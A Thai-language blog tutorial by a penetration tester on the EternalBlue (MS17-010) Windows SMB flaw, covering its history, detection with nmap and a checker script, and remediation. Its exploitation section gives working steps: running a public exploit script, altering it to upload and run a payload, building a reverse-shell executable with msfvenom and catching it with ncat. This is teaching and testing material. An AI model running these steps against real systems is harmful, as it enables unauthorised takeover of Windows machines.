ข้ามไปที่เนื้อหาหลัก

วิธีการทดสอบและลองแฮกช่องโหว่ EternalBlue ในองค์กร


ย้อนอดีตกลับไปช่องโหว่ที่ทำให้แฮกเกอร์ยึดเครื่องเหยื่อ (Remote Code Execution – RCE) ของระบบปฏิบัติการ Windows ก็มีหลายตัวเด่น ๆ เช่นในปี 2008 มีช่องโหว่ memory corruption ในไฟล์ NetAPI32.dll (MS08-067, CVE-2008-4250) ซึ่งทำให้คอมฯโดนแฮกผ่านโปรโตคอล SMB (Server Message Block) ที่เปิดมาโดยอัตโนมัติอยู่แล้วที่ TCP port 139 และ 445 Windows ผลคือแฮกเกอร์นำช่องโหว่นี้ไปไล่แฮกและใช้เป็นฟีเจอร์ของมัลแวร์ชื่อ Conficker มาโจมตีระบบเครือข่ายทั่วโลกและมีเหยื่อโดนแฮกเยอะมาก ๆ เพราะการออกแบบมัลแวร์ตัวนี้ใช้คุณสมบัติ wormable คือเมื่อแฮกคอมฯ 1 เครื่องได้แล้วก็จะทำการ สแกนระบบเครือข่าย เพื่อแฮกแล้วแพร่กระจายตัวเอง จากการแฮกไปยังเครื่องถัด ๆ ไปโดยการคัดลอกตัวเองออกไปเรื่อย ๆ อย่างรวดเร็ว
ถัดจากปี 2008 ผ่านมาเกือบ 10 ปี เมื่อปี 2017 เป็นข่าวครึกโครมเกี่ยวกับช่องโหว่อีกครั้งเมื่อกลุ่มแฮกเกอร์ลึกลับที่ใช้ชื่อว่า The Shadow Brokers (TSB) ประกาศว่าตัวเองมีเครื่องมือลับสุดยอดที่ใช้ในปฏิบัติการแฮก ของสำนักงานความมั่นคงแห่งชาติสหรัฐอเมริกา (Nation Security Agency – NSA) อยู่ในมือ
และต้องการจะ “จัดประมูล” อารมณ์ประมาณว่า ที่รัฐบาลอเมริกาเนี่ยมีกลุ่มแฮกเกอร์ หรือนักรบทหารไซเบอร์ ชื่อว่า Equation Group (ซึ่งว่ากันว่าเกี่ยวข้องกับหน่วยชื่อ Tailored Access Operations หรือ TAO ของ NSA) ทำงานคอยหาข้อมูลข่าวกรองต่าง ๆ โดยวิธีการเจาะระบบเครือข่ายฝั่งตรงข้าม เช่นการทำสงครามกับอัฟกานิสถาน, อิหร่าน และ ซีเรีย ก่อนที่อเมริกาจะส่งทหารถือปืนโดดลงสู่สนามรบ ก็จะส่งนักรบไซเบอร์ลงมือเจาะเซิร์ฟเวอร์ แฮกระบบคอมพิวเตอร์ศัตรูก่อน และการจะทำแบบนั้นได้ก็อาจจะต้องมีอาวุธลับทางไซเบอร์ (exploit) อยู่ในมือเพื่อใช้ในการเจาะระบบที่ปลอดภัยมาก ๆ ได้ TSB เลยบอกว่า เนี่ย! เรามีอาวุธที่ว่านั้นหลุดมาในมือและถ้าใครอยากได้.. จะมาเปิดประมูลกัน! เกร็ดเล็กน้อยที่น่าสนใจคือ วิธีการใช้ภาษาในประกาศของกลุ่ม TSB จะจงใจพิมพ์ผิด ๆ ถูก ๆ เพื่อไม่ให้ถูกแกะรอยได้ว่าคนที่พิมพ์เป็นใคร จากสำนวนการใช้คำต่าง ๆ
โดยวิธีการประมูลของ TSB เทพซ่ามาก คือ ให้คนที่ต้องการประมูลอาวุธไซเบอร์นี้โอนเงินผ่าน Bitcoin มาให้ TSB ก่อนเลย แต่คนที่โอนเงินมาสูงสุดเท่านั้น ที่จะได้เครื่องมือที่ว่าไป ถ้าใครโอนมาแล้วไม่ใช่ราคาสูงสุด.. ก็คือจะเสียเงินไปฟรี ๆ นั้นเอง แถมไม่มีใครกล้ารับรองได้เลยว่า เครื่องมือนั้นคืออะไรและจะมีอยู่จริงรึเปล่า ณ จุดนั้นหลายคนก็ยังคิดว่า TSB อาจเป็นมิจฉาชีพที่สร้างเรื่องปลอมเพื่อหลอกเอาเงินคนอื่นก็เป็นได้ ?
ในระหว่างนั้นก็มีประกาศจาก TSB ออกมาหลายระลอก แต่สุดท้ายทาง TSB ก็ประกาศภายใต้ชื่อ “Lost in Translation” เพื่อปล่อยเครื่องมือเหล่านั้นออกมาสู่สาธาณะฟรี ๆ (มีคนเอามารวมให้ดาวน์โหลดได้ที่ https://github.com/misterch0c/shadowbroker/) โดยหลัก ๆ เป็นโปรแกรมเจาะระบบ (exploitation framework) ชื่อว่า FuzzBunch มีส่วนที่เป็นโปรแกรมสำหรับแฮกเกอร์ควบคุมเครื่องเหยื่อหลังแฮกเข้าไปได้แล้ว กับส่วนที่เป็นโค้ดโจมตีช่องโหว่
ซึ่งมีทั้งที่เป็นโค้ดโจมตีช่องโหว่เก่าที่ถูกแก้ไขแล้วและโค้ดโจมตีช่องโหว่ที่ยังไม่มีการแก้ไข (zero-day vulnerability) โดยแต่ละตัวก็จะมีชื่อเล่นเท่ ๆ เช่น ETERNALROMANCE, EDUCATEDSCHOLAR, EMERALDTHREAD ในบทความนี้เราจะมาดูตัวนึง ที่เรียกได้ว่าเป็นพระเอกของงานจากที่หลุดมาทั้งหมด ก็คือเจ้า EternalBlue นั้นเอง

EternalBlue คืออะไร

EternalBlue เป็นโค้ดโจมตีช่องโหว่ที่เกิดในไฟล์ srv.sys (MS17-010, CVE-2017-0144) เป็นตัวจัดการโปรโตคอล SMB เวอร์ชัน 1 ของระบบปฏิบัติการ Windows ตั้งแต่ XP, 2003, 7, 8, 8.1, 10, 2008, 2012 และ 2016 หรือจะเรียกได้ว่า ใช้แฮกเครื่อง Windows ได้แทบทุกเวอร์ชัน ภายใต้เงื่อนไขว่า เครื่องปลายทางต้องรองรับ SMB เวอร์ชัน 1 (ซึ่งปกติเปิดอยู่โดยไม่ต้องทำอะไรที่ TCP port 139 และ 445) ที่มีช่องโหว่ (ยังไม่ได้อัปเดตแพตช์) อยู่และสามารถถูกต่อเข้า named pipe ได้อย่างน้อย 1 อัน ซึ่งปกติ Windows ก็จะมี named pipe ที่ไม่ต้องมีรหัสผ่านก็ต่อได้อยู่แล้ว เช่น IPC$ หรือ spoolss สรุปภาษาเข้าใจง่าย ๆ คือ EternalBlue (ณ เวลานึงตอน Microsoft ยังไม่รู้) ใช้แฮกเจาะเข้าระบบ Windows เครื่องไหนก็ได้ในโลก โดยไม่ต้องมีรหัสผ่านใด ๆ ยิงเปรี้ยง ยึดเครื่องได้ทันทีเลยเป็นสิทธิ์สูงสุดในระบบเหมือนแฮกเกอร์นั่งอยู่หน้าจอเหยื่ออย่างกับในหนัง ! ด้วยเหตุนี้หลังจากเหตุการณ์ TSB สิ่งที่เกิดคือ แฮกเกอร์ทั่วโลกต่างเอาโค้ดโจมตีช่องโหว่นี้ไปสร้างเป็นมัลแวร์ไล่แฮกเซิร์ฟเวอร์ต่าง ๆ โดยเฉพาะตัวมัลแวร์เรียกค่าไถ่ชื่อดังอย่าง WannaCry, Petya, NotPetya ก็ใช้ช่องโหว่นี้เพื่อแฮกเข้าไปในเครื่องเหยื่อ ก่อนจะทำการเข้ารหัสไฟล์ต่าง ๆ และเรียกค่าไถ่เป็นเงิน Bitcoin จากเจ้าของเครื่อง
อีกฝั่งนึงในวงการ IT Security ก็พยายามนำ EternalBlue มาวิเคราะห์ใช้งานกัน ซึ่งทีแรกต้องใช้ผ่านโปรแกรม FuzzBunch (fb.py) ที่หลุดมาพร้อม ๆ กัน สรุปง่าย ๆ ตัว FuzzBunch ก็คล้ายกับโปรแกรมใช้แฮกช่องโหว่ยอดนิยมอย่าง Metasploit Framework มาก ๆ แต่เขียนด้วยภาษา Python แทน Ruby
ปัญหาของตัว EternalBlue ที่หลุดออกมามีสองข้อคือ (1) ค่อนข้างเก่า ไม่เสถียร ปรับแต่งให้ใช้แฮกได้เฉพาะ Windows XP กับ Windows 7 และ 2008 R2 เท่านั้น (2) แถมบังคับว่าหลังแฮกเสร็จเหยื่อจะต้องติดตั้ง backdoor ของมัน (NSA?) เองชื่อ DoublePulsar ไว้ใช้คุมเครื่องเป้าหมายหลังแฮกสำเร็จแล้ว ซึ่งใช้ค่อนข้างลำบากต้องหาโค้ดอื่นมาลงเพิ่มเติม (ไม่สะดวกเหมือน Meterpreter ใน Metasploit)
คำเตือน: ในทางปฏิบัติผู้เขียนไม่แนะนำให้นำโค้ด EternalBlue จริง ๆ ที่ The Shadow Brokers แจกมาใช้ โดยเฉพาะใช้ในงานการทดสอบเจาะระบบแบบมืออาชีพ (penetration testing) หรือในองค์กร เพราะ..
  1. มันจะทำการติดตั้ง backdoor ที่รันในระดับ kernel ซึ่งนอกจากฟีเจอร์ที่มันทำได้จาก FuzzBunch/DoublePulsar แล้วเราก็ไม่อาจรู้ได้ว่าจะมีโค้ดที่ไม่น่าไว้วางใจอะไรแฝงมาอย่างแนบเนียนอยู่อีก เพราะจากตัว exploit ที่เราได้มาใช้ยิงนี้มาในรูปแบบ binary มาเลยเราไม่เห็น source code หรือคำอธิบาย ในส่วนของ exploit และ shellcode อย่างละเอียด ดังนั้นจึงไม่ควรนำไปทดสอบในระบบลูกค้าหรือในองค์กรที่รับผิดชอบเด็ดขาด
  2. แถมยังเป็นการทิ้ง backdoor ไว้ในเครื่องลูกค้าที่ทำให้คนอื่นที่เข้าถึงไฟล์ FuzzBunch สามารถเข้ามาตรวจสอบและคุมเครื่องนั้นต่อได้ด้วย
  3. อีกข้อนึงการโจมตีโดยใช้โค้ดที่หลุดมานี้ มีความเสี่ยงจะทำให้เครื่องปลายทางที่โดนยิงขึ้นจอฟ้าและ reboot ได้อีกด้วยหากโจมตีไม่สำเร็จ ซึ่งอันตรายมากหากเอาไปทดสอบกับเครื่องลูกค้าหรือองค์กรในระบบจริงที่มีการใช้งานอยู่ ระบบอาจล่มได้
ทีนี้เนี่ย ถัดจากนั้นไม่นาน ก็มีคนไทยระดับโลก คนนึงเก่งมาก (ส่วนตัวผู้เขียนยกให้เป็นคนที่เก่งที่สุดในประเทศไทยที่รู้จักมา) ชื่อคุณ Worawit Wangwarunyoo (ใช้นามแฝงว่า sleepya และ xellos) ประกาศว่าได้ทำการวิเคราะห์ตัวช่องโหว่ EternalBlue อย่างละเอียด (ด้วยการทำ reverse engineering ตัวไฟล์ srv.sys) และพัฒนาโค้ดโจมตีช่องโหว่ EternalBlue ขึ้นมาใหม่หมดจด พร้อมคำอธิบายในไฟล์ต่าง ๆ ทั้งตัว exploit และ shellcode ที่ใช้ อาจเรียกได้ว่า ทำดีกว่าของทีมนักรบไซเบอร์ของสหรัฐอเมริกามัดรวมกันอีก และแจกฟรีเอาไว้ที่ https://github.com/worawit/MS17-010 น่าจะเป็นคนแรกที่ทำ ผลปรากฏว่าคนในวงการ IT Security บริษัทใหญ่ ๆ ดัง ๆ ทั่วโลกต่างก็ชื่นชมยินดีอ้างอิงเอางานชิ้นนี้และชื่อคุณ Worawit ไปเป็นเครดิต เพื่อใช้งาน วิเคราะห์หรืออธิบายต่อกันไปมากมาย เหมือนทำให้ EternalBlue ถูกชำแหละและทำเป็นเวอร์ชัน open source โปร่งใสรู้ว่าโค้ดทำงานยังไง รองรับรุ่น Windows มากขึ้น (จนถึง Windows 8/2012/2016) และเสถียรขึ้นมาก ๆ ก็ว่าได้

วิธีการทดสอบว่าระบบมีช่องโหว่ (Vulnerability Identification)

คำถามที่น่าสนใจ หลังจากที่เราได้รู้จัก EternalBlue กันพอสมควรแล้วก็คือ ตอนนี้ก็ผ่านมาหลายปีแล้ว เราจะทดสอบเองได้ไหม ว่าคอมพิวเตอร์ในครอบครัวที่บ้านเรา หรือที่เรามีสิทธิ์ดูแลในที่ทำงาน ยังมีช่องโหว่ EternalBlue อยู่รึเปล่า? คำตอบคือ คุณสามารถทดสอบได้ง่าย ๆ ด้วยการดาวน์โหลดและติดตั้งโปรแกรมชื่อ nmap จากลิงก์นี้ จากนั้นใช้คำสั่งต่อไปนี้ (ตัวอย่างนี้คือใช้งานผ่าน Kali Docker ที่ลงไว้ตามบทความที่แล้ว)
คำเตือน: ผู้อ่านจำเป็นจะต้องได้รับอนุญาตหรือมีสิทธิ์ในการตรวจสอบช่องโหว่บน IP หรือวง network ปลายทางก่อนจะทำเสมอ ถ้าหากไม่มีแล้วทำ อาจผิดกฏหมายได้ ในบทความนี้ทำการทดสอบในระบบจำลองมาบนโปรแกรม VMware ในเครื่องผู้เขียนเองเท่านั้น
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010  <IP>
โดยแทนที่ ค่า <IP> เป็นหมายเลข IP หรือวง network เช่นถ้าบ้านหรือองค์กรที่เรารับผิดชอบมีสิทธิ์ตรวจสอบใช้ network เป็นวง 192.168.0.0/24 เราก็ใส่ไปได้เลยว่า
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010  192.168.0.0/24
ผลที่ได้ สังเกตว่าจะมีหมวด “Host script results” ต่อด้วย “smb-vuln-ms17-010” ถ้าเกิดบรรทัดถัดจากนี้เขียนว่า VULNERABLE: อย่างในรูปด้านล่าง แปลว่า เครื่อง IP ที่เราทำการตรวจสอบด้วย nmap (จริง ๆ คือใช้สคริปท์ Nmap Script Engine – NSE ที่เขียนด้วยภาษา Lua ชื่อว่า smb-vuln-ms17-010.nse) มีช่องโหว่ EternalBlue ต้องรีบไปอัปเดตแพตช์แล้ว!
อีกวิธีคือ เราสามารถใช้โปรแกรม check.py ที่เขียนโดยคุณ Worawit ได้ด้วยคำสั่งต่อไปนี้
$ git clone https://github.com/worawit/MS17-010 && cd MS17-010
$ python checker.py 192.168.56.102
จะสังเกตว่าขึ้นว่า “The target is not patched” แปลว่าเครื่อง IP ที่เราใส่ไปยังมีช่องโหว่ EternalBlue สามารถถูกแฮกได้อยู่ โดยถ้าหากเครื่องที่เราทดสอบ มีการแพตช์แก้ไขแล้ว จะขึ้นแบบนี้แทน
ทีนี้ผู้อ่านก็สามารถนำวิธีการเหล่านี้ไปใช้ทำการทดสอบเครื่อง Windows ในระบบเครือข่าย ที่ตัวเองได้รับอนุญาตในการดูแลหรือตรวจสอบว่ามีช่องโหว่ EternalBlue รึเปล่าได้ หรือจะทดสอบในระบบของตัวเองบน Virtualbox เพื่อการศึกษาก็ทำได้เช่นกัน จะเห็นว่าทำได้ไม่ยากเลย เพราะมีโปรแกรมสำเร็จรูปไว้ให้ใช้งานได้อยู่แล้ว

วิธีการลองแฮก (Exploitation)

หลังจากเราดูวิธีการตรวจสอบว่าเครื่องมีช่องโหว่ EternalBlue รึเปล่า? ไปแล้ว ต่อไปมาดูว่า ถ้าหากเราอยากจะทดสอบ โจมตีช่องโหว่นี้ เราจะทำได้ยังไง.. ทำได้หลายท่ามาก วิธีนึงคือใช้จากโค้ดของคุณ Worawit (https://github.com/worawit/MS17-010) โดยตรง ซึ่งผมในฐานะ fc ของคุณ Worawit ก็จะใช้ท่านี้แล้วกัน (ฮาา) จะมีไฟล์ชื่อ zzz_exploit.py ไว้ยิงอยู่แล้ว
ต่อไปใช้คำสั่งดังต่อไปนี้ (ผู้เขียนใช้ Kali docker [192.168.56.1] ในตัวอย่างนี้ ยิงไปที่ Windows XP x86 บน VMware [192.168.56.104])
$ python checker.py 192.168.56.104
$ python zzz_exploit.py
$ python zzz_exploit.py 192.168.56.104 spoolss
ผลที่ได้ จะพบว่ามีไฟล์ C:\pwned.txt ถูกสร้างในเครื่องที่เราแฮก
เป็นการยืนยันว่าเราได้ทำการโจมตีสำเร็จแล้ว แต่ว่าเวลาเราแฮก.. บางทีเราก็ไม่ได้อยากจะแค่สร้างไฟล์ ทีนี้เราก็ตามไปอ่านกันหน่อยว่าคุณ Worawit ทิ้งอะไรไว้ให้เราแก้บ้างใน zzz_exploit.py โดยทำการค้นหาคำว่า pwned.txt
จะเจอว่ามีฟังก์ชันชื่อ smb_pwn() พร้อมคำอธิบายเล็กน้อยว่าเป็นการใช้ SMB สร้างไฟล์เปล่า ๆ ขึ้นมา พร้อมทั้งคอมเมนต์บอกว่า มีฟังก์ชันชื่อ smb_send_file() กับ service_exec() เตรียมไว้ให้ด้วย
มาลองแก้ไขฟังก์ชัน smb_pwn() ในไฟล์ zzz_exploit.py กันสักหน่อย เปลี่ยนเป็นตามนี้
def smb_pwn(conn, arch):
  smbConn = conn.get_smbconnection()
  
  smb_send_file(smbConn, 'ggez.exe', 'C', '/ggez.eze')
  service_exec(conn, r'c:\ggez.exe')
จากนั้นทำการสร้าง backdoor เพื่อให้เครื่องที่ถูกแฮกต่อกลับมาหาคนแฮก (reverse shell) โดยมีเงื่อนไขว่า backdoor นี้จะต้องทำงานแบบ Windows service เพื่อที่จะใช้กับช่องโหว่นี้ได้ ซึ่งเราสามารถใช้ msfvenom (Metasploit) สร้าง backdoor ที่ว่าได้ง่าย ๆ โดยพิมพ์คำสั่งดังนี้
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 EXITFUNC=thread -a x86 -f exe-service -o ggez.exe
จากนั้นทำการเปิด TCP Listener เพื่อรอรับ reverse shell กลับมาด้วยโปรแกรม ncat (Kali docker นี้ได้ทำการ เปิด TCP port 4445 ให้เข้าได้จาก IP เครื่อง docker host คือ 192.168.56.1 ไว้)
$ ncat -lvp 4445
แล้วก็ลุยย ยิงซ้ำอีกทีด้วยคำสั่งเดิม กับไฟล์ใหม่ที่เราแก้ไขแล้ว พร้อมกับมีไฟล์ ggez.exe อยู่ข้าง ๆ
$ python zzz_exploit.py 192.168.56.104 spoolss
ณ จุดนี้ เราก็จะสามารถแฮกเครื่อง Windows ด้วยช่องโหว่ EternalBlue ได้แล้ว สิ่งที่เราได้กลับมาคือ command shell (cmd.exe) สำหรับสั่งการเครื่องที่ถูกแฮก ถ้าเราเป็นโจร เราอาจจะใช้จังหวะนี้ในการติดตั้งมัลแวร์ต่าง ๆ เช่นมัลแวร์เข้ารหัสไฟล์เพื่อเรียกค่าไถ่ ดักรหัสผ่านบนคีย์บอร์ดหรือค้นหารูป ขโมยกุญแจ crypto wallet หรือหาข้อมูลต่าง ๆ ในเครื่องเหยื่อได้

ทิ้งท้าย

ช่องโหว่ใหม่ ๆ ก็ถูกค้นพบอยู่เรื่อย ๆ ไม่ว่าจะผ่านมากี่ปีจะปี 2008 (MS08-067 – NetAPI), 2017 (MS17-010 – EternalBlue) หรือ 2019 ล่าสุดก็มีช่องโหว่ BlueKeep (CVE-2019-0708) โผล่มาอีกแล้ว ดังนั้นใน ฐานะที่ถ้าผู้อ่านเป็นผู้ใช้งานทั่วไป ก็ควรทำการอัปเดตระบบปฏิบัติการและโปรแกรมต่าง ๆ ในเครื่องให้เป็นเวอร์ชันใหม่ล่าสุดอยู่เสมอ
ปัญหานี้จริง ๆ นอกจากการแพตช์ระดับผู้ใช้งานทั่วไปแล้ว ก็มีเรื่องการแพตช์ซอฟต์แวร์ในระดับเซิร์ฟเวอร์ของบริษัท ที่หลาย ๆ องค์กรก็เจอ challenge หนักหน่วงตัวอย่างเช่น
(1) ทีม security ต้องให้อัปเดตแพตช์เร็วที่สุด แต่ทีม IT หรือ Business กังวลไม่รู้ว่าอัปเดตไปแล้ว ระบบจะเหมือนเดิมไหมมีปัญหาอะไรในระยะยาวไหม สิ่งที่เคยใช้ได้ดี อยู่ดี ๆ มันจะพังไหม ถ้าล่มใครรับผิดชอบ
(2) บางที่ยังใช้ Windows เวอร์ชันที่ไม่มีการสนับสนุนจาก Microsoft แล้วอย่าง XP หรือ 2003 อยู่เลย ต่อให้อยากอัปเดตแพตช์ ก็ทำไม่ได้ จะซื้อใหม่ก็ไม่มีงบเปลี่ยน แถมไม่มีใครกล้าไปแตะโปรแกรมสำคัญที่ทำงานอยู่ดี ๆ บนนั้นมาเป็นสิบปี
(3) การทำงาน ops โดยการ clone ตัว image / vm ของระบบปฏิบัติการเก่า ที่มีโปรแกรมมีช่องโหว่ แล้วนำมา deploy เป็น base ให้ระบบใหม่อยู่เรื่อย ๆ โดยไม่มีการอัปเดต ภายในองค์กร
(4) ปัญหาการเมืองภายในองค์กร คนทำหน้าที่อัปเดต กับคนใช้งานไม่ถูกกัน หรือมีปัญหาจะไปขัดกับนโยบายอะไรบางอย่าง เช่นคู่มือ หรือระเบียบเจาะจงมาเป๊ะ ๆ ว่าต้องใช้เวอร์ชันเท่านี้ แบบนี้ห้ามอัปเดตแก้ไขช่องโหว่
(5) ประเมินค่าใช้จ่ายในการแก้ไขระบบหลังจากอัปเดตไว้สูงมาก ยังไม่มีคนมีอำนาจอนุมัติและไม่มีทีมรับผิดชอบโดยตรง คนเคยทำก็ลาออกไปแล้ว หรือ vendor ที่เคยจ้างรับงานเสร็จก็ลาจากไปแล้วไม่มีการบำรุงรักษาระบบต่อ
สิ่งเหล่านี้ก็เป็นตัวอย่างที่ผู้เขียนเจอมาระหว่างการไปทำการทดสอบเจาะระบบให้หน่วยงานต่าง ๆ ทั้งในไทยและต่างประเทศ ก็ตกใจว่ายังมีเครื่องเซิร์ฟเวอร์ที่มีช่องโหว่ร้ายแรงสูง (critical) อายุหลักสิบปีอยู่ในองค์กร การแก้ปัญหาเหล่านี้ก็ต้องอาศัยกำลังภายในหลาย ๆ ด้านนอกจากการรู้ช่องโหว่ สุดท้ายแล้วถ้าการอัปเดตแพตช์ ยังไม่สามารถทำได้จริง ๆ เราอาจลดความเสี่ยงของการถูกแฮก ได้โดยการหา security control อื่น ๆ มาร่วมด้วยเช่นมีการทำ network segmentation และกำหนด firewall rules อย่างดีว่าเครื่องที่มีความเสี่ยงใครเข้าถึงได้บ้าง และหา network IPS มาวางเพื่อช่วยลดโอกาสถูกโจมตีสำเร็จให้ได้มากที่สุด ถ้าทำได้อาจมีการทำ virtual patching ทั้งระดับ network และ OS หรือการปรับแก้ไขการตั้งค่าเพื่อให้ช่องโหว่โจมตีไม่ได้โดยไม่ต้องอัปเดตโปรแกรม ก็จะช่วยได้อีกทาง แต่ทางที่ดีที่สุดถ้าถามผู้เขียนแล้วคือองค์กรขนาดใหญ่ (มีระบบเยอะหรือคนเยอะ) ผู้บริหารควรมีวิสัยทัศน์ ใส่ใจในเรื่องความปลอดภัยระบบ มีงบและนโยบายในการประเมินความเสี่ยง การทำ patch management มีพนักงานที่มีหน้าที่ดูแลเฉพาะ มีรอบการอัปเดตที่เป็นแพตช์ช่องโหว่ และมีนโยบายการอัปเดตแพตช์ในส่วนช่องโหว่ระดับ critical ให้เร็วที่สุดทันที มีการทำ inventory เวอร์ชันซอฟต์แวร์ที่ใช้คอยตรวจสอบเพื่อหาทางแก้ไขต่อไป เอาจริง ๆ ก็ไม่ง่ายเหมือนพูดเลย ขึ้นกับแต่ละองค์กรและตัวบุคคลล้วน ๆ ผู้เขียนก็หวังว่าผู้อ่านจะสามารถนำกรณีศึกษา ทั้งการตรวจสอบช่องโหว่ EternalBlue การทดสอบแฮก และแนวคิดต่าง ๆ ไปปรับใช้ให้เกิดประโยชน์ได้ภายในองค์กรครับ

เขียนโดย : พิชญะ โมริโมโต

หัวหน้าทีมทดสอบเจาะแฮกระบบ (lead penetration tester) ของบริษัท สยามถนัดแฮก, เป็นที่ปรึกษาด้านความปลอดภัยให้หน่วยงานเอกชน, เป็นที่รู้จักกันในฐานะ หนึ่งในแอดมินกลุ่ม 2600 Thailand และเป็นหนึ่งในคนเขียนบทความลงเพจ สอนแฮกเว็บแบบแมว ๆ

ความคิดเห็น

โพสต์ยอดนิยมจากบล็อกนี้

กลุ่ม แอนโนนีมัส (Anonymous) คือใคร?

กลุ่มแฮกเกอร์นิรนาม เครือข่ายนักเจาะระบบคอมพิวเตอร์ระหว่างประเทศ ที่เคลื่อนไหวโดยมีจุดประสงค์ทางการเมือง ฉายา “โรบินฮู้ดแห่งศตวรรษ 21" จากตำนานโรบินฮู้ด ปล้นคนรวย ช่วยเหลือคนจน ทวงคืนอิสรภาพด้วยธนู อาวุธเล็กๆ ในมือ… แอนโนนีมัส ปล้นสิ่งมีค่าในโลกออนไลน์ ซึ่งก็คือข้อมูลข่าวสาร ทวงคืนสิทธิเสรีภาพในการเข้าถึงข้อมูล ฉายา “อาชญากรไซเบอร์” ละเมิดข้อกฎหมาย คล้ายศาลเตี้ยที่ชี้ถูกผิดเพียงคนกลุ่มเดียว ที่มา ปี 2003 กลุ่มแฮกเกอร์อิสระรวมตัวกันผ่านเว็บบอร์ด 4chan เป้าหมายแฮกเพื่อความบันเทิง ปี 2008 เริ่มมีส่วนร่วมทางการเมือง โจมตีบริษัทรัฐวิสาหกิจขนาดใหญ่ VISA – MASTER CARD – PayPal – NASA ปี 2009 ปิดเว็บไซต์รัฐบาลอิหร่านในขณะมีการเลือกตั้ง และปิดเว็บไซต์ ปธน.ออสเตรเลีย ต่อต้านนโยบายกรองเว็บไซต์ของรัฐบาล ปี 2011 ปิดเว็บไซต์ตลาดหลักทรัพย์ตูนีเซีย ต่อต้านนโยบายการเซ็นเซอร์ที่เกินกว่าเหตุ ผลงานในไทย 22 ตุลาคม 2015 : เจาะฐานข้อมูล CAT Telecom เข้าถึงบัญชีลูกค้ามากกว่าพันราย ต่อต้านนโยบายซิงเกิล เกตเวย์ 29 ตุลาคม 2015 :  นายกฯ บิ๊กตู่ โต้กลับ กล่าวในที่ประชุมสภาถึงหน่ว

มาล่องหน ซ่อนตัวเอง และลบตัวตนบนโลกอินเทอร์เน็ต

ปกติแล้วการใช้อินเทอร์เน็ต มีการทิ้งร่อยรอย ฝากรอยเท้าของเราเอาไว้บนโลกไซเบอร์ อย่าคิดว่าเราจะทำอะไรก็ได้ ไม่มีใครรู้หรอกว่าเราเป็นใคร จับไม่ได้หรอก แต่ถ้าแกะรอยจริงๆ ไม่ใช่เรื่องยากเลย ไม่เชื่อลอง เอาชื่อ นามสกุลจริง หรือเอาชื่อ Username / Nickname, ฉายาส่วนตัวของเรา ไปค้นใน Google สิครับ เผลอๆ บางคน เจอใน Wikipedia อีกต่างหาก เพราะใครก็เขียนบน Wikipedia ได้ รวมไปถึง Copy บทความ หรือเรื่องราวเราไปลงตามเวบบอร์ดต่างๆ หรืออาจไปเจออะไรที่เราไม่อยากเปิดเผยก็เป็นได้การสร้างตัวตนบนโลกออนไลน์ บนอินเทอร์เน็ตนั้น เคยมีคำพูดว่า เราอยากจะเป็นอะไรก็ได้ บนโลกออนไลน์เป็นแบบนึง บนโลกออนไลน์เป็นอีกแบบ เคยเห็นข่าวไหมครับ มือเกรียนคีย์บอร์ด แรงมาก แต่พอโดนจับ หน้าจอซื่อๆ นิ่มๆ มีเทคโนโลยี ก็ต้องมีการกำกับ ทำให้มีการเก็บข้อมูลในทุกพฤติกรรมการใช้งาน โดยจะมีการผูกด้วยเลข IP (IP Address) สามารถสืบหาตัวคนโพสต์ได้ จนมาถึงยุคนี้คือ Social Network ลองคิดตามว่า ข่าวดาราที่โดนขุด ขุดมาจากอินเทอร์เน็ต มันมีการเชื่อมโยงกันทั้งนั้นแหล่ะครับ แม้เจ้าตัวจะไม่บอกว่า IG นี้เป็นของใคร หรือเป็น Facebook ของใ

ข้อมูล การติดตามเฝ้าระวัง / บทความ / ประกาศแจ้งเตือน

แจ้งเตือนและข้อแนะนำสำหรับผู้ใช้ทั่วไป 2019-08-28 แถลงการณ์เตือนภัย กรณีตรวจพบฐานข้อมูลที่คาบเกี่ยวกับเว็บไซต์การพนัน ซึ่งมีข้อมูลของคนไทยอยู่ด้วย 2019-03-28 ระวังภัย ช่องโหว่ในโปรแกรม GeForce Experience เวอร์ชันต่ำกว่า 3.18 อาจถูกใช้เพื่อประมวลผลคำสั่งอันตรายได้ ควรอัปเดต (CVE-2019-5674) 2019-03-19 ระวังภัย ช่องโหว่ path traversal ใน WinRAR อาจถูกติดตั้งมัลแวร์ลงในเครื่องได้เมื่อขยายไฟล์บีบอัด (CVE-2018-20250) มีแพตช์แล้ว 2019-03-08 ระวังภัย ช่องโหว่ในเบราวเซอร์ Google Chrome ผู้ไม่หวังดีสามารถควบคุมเครื่องจากระยะไกล (CVE-2019-5786) มีแพตช์แล้ว 2018-05-30 แจ้งเตือนการแพร่ระบาดมัลแวร์ VPNFilter IoT botnet กระจายไปยัง 54 ประเทศทั่วโลก 2018-02-02 แจ้งเตือน มัลแวร์ขุดเงินดิจิทัลระบาดผ่านลิงก์ย่อ ประเทศไทยดาวน์โหลดสูงสุด 2018-01-05 ระวังภัย ช่องโหว่ Meltdown, Spectre อาจถูกขโมยข้อมูลในเครื่องได้ผ่านซีพียู กระทบระบบปฏิบัติการ Windows, Linux, Mac 2017-10-30 แจ้งเตือน มัลแวร์เรียกค่าไถ่สายพันธุ์ใหม่ Bad Rabbit แพร่โดยปลอมเป็น Adobe Flash Update และผ่านช่องทาง SMB 2017-09-13 ระว